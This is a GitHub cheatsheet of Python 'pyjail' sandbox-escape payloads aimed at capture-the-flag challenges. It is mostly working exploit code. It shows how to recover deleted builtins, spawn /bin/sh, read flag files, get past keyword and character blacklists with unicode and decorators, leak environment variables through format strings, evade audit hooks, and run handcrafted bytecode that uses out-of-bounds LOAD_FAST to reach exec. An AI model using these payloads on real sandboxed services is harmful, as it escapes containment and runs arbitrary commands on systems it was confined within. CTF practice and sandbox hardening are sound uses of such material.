GitHub

Pyjail cheatsheet

Common payloads

no builtins, inside an interactive shell/multiple exec

# Thanks @Loldemort
del __builtins__
exec(input())

Restore builtins

help.__call__.__builtins__ # or __globals__ -> help.__call__.__globals__["sys"].modules["os"].system("/bin/sh")
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
__build_class__.__self__
__import__.__self__
abs.__self__
aiter.__self__
all.__self__
anext.__self__
any.__self__
ascii.__self__
bin.__self__
breakpoint.__self__
callable.__self__
chr.__self__
compile.__self__
delattr.__self__
dir.__self__
divmod.__self__
eval.__self__
exec.__self__
format.__self__
getattr.__self__
globals.__self__
hasattr.__self__
hash.__self__
hex.__self__
id.__self__
input.__self__
isinstance.__self__
issubclass.__self__
iter.__self__
len.__self__
locals.__self__
max.__self__
min.__self__
next.__self__
oct.__self__
ord.__self__
pow.__self__
print.__self__
repr.__self__
round.__self__
setattr.__self__
sorted.__self__
sum.__self__
vars.__self__
user_defined_function.__builtins__

Spawning a shell

breakpoint()
# import os; os.system("/bin/sh")
exec(input())
# import os; os.system("/bin/sh")
eval(input())
# __import__("os").system("/bin/sh")

Read a file

help() # then send "print\n:e/flag"
# to stderr
exit(set(open("flag")))
exit(*open("flag"))
help(*open("flag")) # this also works with (stdout/stderr) closed 
open(*open("flag"))
compile(".","flag","exec") # flag printed to stderr
# to stdout
help(*open("flag")) # this works like a normal print
set(open("flag")) # only works inside an interactive console
print(*open("flag"))

Deleting a variable

# Using try except:
delete_me = ""
try:
    p
except NameError as delete_me:
    pass
print(delete_me) # error
# using del
delete_me = ""
del delete_me
print(delete_me) # error

Bypassing common blacklists

No function calls

@exec
@input
def a():pass # or class a:pass

No function call and no exec/eval

@print
@set
@open
@input
def a():pass # or class a:pass

No function call, no exec/eval, no \n, no spaces, no tabs

@print\r@set\r@open\r@input\rclass\x0ca:pass

No ASCII letters

# I usually use https://lingojam.com/ItalicTextGenerator
๐˜ฃ๐˜ณ๐˜ฆ๐˜ข๐˜ฌ๐˜ฑ๐˜ฐ๐˜ช๐˜ฏ๐˜ต() # import os;os.system("/bin/sh")

Other unicode bypasses: https://peps.python.org/pep-0672/

no ASCII letters, no underscores, inside eval

_๏ผฟ๐˜ช๐˜ฎ๐˜ฑ๐˜ฐ๐˜ณ๐˜ต๏ผฟ_(๐˜ช๐˜ฏ๐˜ฑ๐˜ถ๐˜ต()).system(๐˜ช๐˜ฏ๐˜ฑ๐˜ถ๐˜ต())

no ASCII letters, no double underscores, no builtins, inside eval

()._๏ผฟ๐˜ค๐˜ญ๐˜ข๐˜ด๐˜ด๏ผฟ_._๏ผฟ๐˜ฎ๐˜ณ๐˜ฐ๏ผฟ_[1]._๏ผฟ๐˜ด๐˜ถ๐˜ฃ๐˜ค๐˜ญ๐˜ข๐˜ด๐˜ด๐˜ฆ๐˜ด๏ผฟ_()[104].๐˜ญ๐˜ฐ๐˜ข๐˜ฅ_๐˜ฎ๐˜ฐ๐˜ฅ๐˜ถ๐˜ญ๐˜ฆ("\157\163").๐˜ด๐˜บ๐˜ด๐˜ต๐˜ฆ๐˜ฎ("\57\142\151\156\57\163\150")

no ASCII letters, no double underscores, no builtins, no quotes/double quotes inside eval (>= python3.8)

[๐˜บ:=()._๏ผฟ๐˜ฅ๐˜ฐ๐˜ค๏ผฟ_, ๐˜ข:=y[19],()._๏ผฟ๐˜ค๐˜ญ๐˜ข๐˜ด๐˜ด๏ผฟ_._๏ผฟ๐˜ฎ๐˜ณ๐˜ฐ๏ผฟ_[1]._๏ผฟ๐˜ด๐˜ถ๐˜ฃ๐˜ค๐˜ญ๐˜ข๐˜ด๐˜ด๐˜ฆ๐˜ด๏ผฟ_()[104].๐˜ญ๐˜ฐ๐˜ข๐˜ฅ_๐˜ฎ๐˜ฐ๐˜ฅ๐˜ถ๐˜ญ๐˜ฆ(๐˜บ[34]+๐˜ข).๐˜ด๐˜บ๐˜ด๐˜ต๐˜ฆ๐˜ฎ(๐˜ข+๐˜บ[56])]

Only imports

from os import system as __getattr__; from __main__ import sh

Other oneliners

().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]()
().__class__.__subclasses__()[19].__repr__.__globals__["_sys"].modules["os"].system("ls")
(1).__class__.__subclasses__()[2].__rand__.__globals__["sys"].modules["os"].system("ls")
[].__class__.__subclasses__()[1].__init__.__builtins__["__import__"]("os").system("ls")
[].__class__.__subclasses__()[1].__hash__.__builtins__["__import__"]("os").system("ls")
# if builtins aren't deleted
import sys;sys.stderr.flush=breakpoint
import sys;sys.stdout.flush=breakpoint
import pdb,builtins as e;e.set=breakpoint;a
import ctypes; import sys; import os; [os.system for os.fspath in [os.system]]; ctypes.cdll[sys.executable]
import os; import sys; [sys for sys.prefix in [sys.executable]]; [sys for os.path.normpath in [os.system]]; import sysconfig

Bypass parsers using comments and encodings

This only works in certain cases:

  • Everything is put into a file and then executed
  • There is something like exec(data) where type(data) == bytes
# -*- coding: utf_7 -*-
def f(x):
    return x
    #+AAo-print(open("flag.txt").read())
# Thanks @collodel

multiple exec, no dots, no builtins/builtins blacklisted + other blacklisted words

# only works if sys is already imported
__builtins__ = sys
__builtins__ = modules
__builtins__ = os
system("cat /flag")

builtins are deleted from everywhere:

https://gist.github.com/CharlesAverill/e7fef5a6e078f14b7ac7b3d318e3e24f?permalink_comment_id=4749794#gistcomment-4749794

Bypass blacklists using generators

# Way better than (lambda x:x).__globals__
(x for x in ()).gi_frame.f_builtins
(x for x in ()).gi_frame.f_globals

Bypass blacklists using asynchronous functions

async def a():pass
a().cr_frame.f_globals

Other ways to obtain a frame

(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))

No (), inside eval

# _ is a class (eg. `class _:pass`)
def call_function(f, arg):
        return (f"[[None for _.__class_getitem__ in [{f}]],"
                f"_[{arg}]][True]")
# call_function("exec", "'breakpoint()'")
# output: [[None for _.__class_getitem__ in [exec]],_['breakpoint()']][True]

Bypass audit sandboxes

__builtins__.__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat", b'flag.txt'], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__import__('os').pipe()), False, False, None, None, None, -1, None)

format strings

Leak data

"{0.__self__.help.__call__.__globals__[sys].modules[os].environ}".format(print)
"{a.__self__.help.__call__.__globals__[sys].modules[os].environ}".format_map({"a":print})
'{0.gi_frame.f_globals}'.format((x for x in ()))
'{a.gi_frame.f_globals}'.format_map({"a":(x for x in ())})
'{a.gi_frame.f_globals}'.format_map(dict(a=(x for x in ())))
[y:=[],y.extend([('{0.gi_frame.f_back.f_back.f_back}'.format(x) for x in y)]),[x for x in y[0]][0]]
"{0.gi_frame.f_builtins[help].__call__.__globals__[sys].modules[os].environ}".format((x for x in ()))
# this also works
"{0\x2e\x5f\x5fclass\x5f\x5f}".format(0)

OOB Read using LOAD_FAST

# Thanks to @splitline, https://blog.splitline.tw/hitcon-ctf-2022/#v-o-i-d-misc
# This is just an example
(lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=(
)), {})()["exec"]("import os;os.system('ls')")

Bytecode2RCE exploiting OOB READ with LOAD_FAST

Let's say you have something similar to this (B01lers CTF - awpcode):

from types import CodeType
def x():pass
x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'ฮ”','โ™ฆ','โœ‰๏ธŽ',0,bytes(),bytes(),(),())
a = x()

Then, this can be exploited in two different ways:

V1

# From https://blog.neilhommes.xyz/docs/Writeups/2024/bctf.html#awpcode---hard
import dis
def assemble(ops):
    cache = bytes([dis.opmap["CACHE"], 0])
    ret = b""
    for op, arg in ops:
        opc = dis.opmap[op]
        ret += bytes([opc, arg])
        ret += cache * dis._inline_cache_entries[opc]
    return ret
co_code = assemble(
    [
        ("RESUME", 0),
        ("LOAD_CONST", 115),
        ("UNPACK_EX", 29),
        ("BUILD_TUPLE", 28),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("COPY", 1),
        ("CALL", 0),    # input
        ("LOAD_CONST", 115),
        ("UNPACK_EX", 21),
        ("BUILD_TUPLE", 20),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("SWAP", 2),
        ("CALL", 0),    # exec
        ("RETURN_VALUE", 0),
    ]
)
print(co_code.hex())

V2

This is only possible if the input is cut before being passed to bytes.fromhex (for example)

from pwn import *
from opcode import opmap
co_code = bytes([
                 opmap["KW_NAMES"], 0,
                 opmap["RESUME"], 0,
                 opmap["PUSH_NULL"], 0,
                 opmap["LOAD_FAST"], 82, # exec
                 opmap["LOAD_FAST"], 6, # my input
                 opmap["PRECALL"], 1,
                 opmap["CACHE"],
                 opmap["CACHE"],
                 opmap["CALL"], 1,
                 opmap["CACHE"],
                 opmap["CACHE"],
])
payload = co_code.ljust(176, b"B") # add padding util the input limit is reached
print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0")

No CALL or LOAD_GLOBAL using LOAD_GLOBAL_BUILTIN and CALL_BUILTIN_CLASS

From Pycjail returns - รฅngstromCTF 2024

The idea is to call the breakpoint() function using LOAD_GLOBAL_BUILTIN and CALL_BUILTIN_CLASS. To avoid causing a segfault when calling breakpoint, we can purposely throw an exception by using, for example, UNPACK_SEQUENCE_LIST (using an unknown opcode works too)

from opcode import opmap
code = bytes([
    111, 1, # LOAD_GLOBAL_BUILTIN
    6,6,6,6,6,6,6,6, # trash
    29, 0, # CALL_BUILTIN_CLASS
    6,6,6,6,6,6, # other trash
    191,0 # unknown opcode -> error
])
print(code.hex())

Other useful things

user_defined_function.__closure__
user_defined_class.__reduce_ex__(user_defined_class(), n)
pdb.set_trace() # works also if __builtins__ is empty

py/pyc/zip file type confusion

python/cpython#103051

Credits

Read the original on github.com โ†—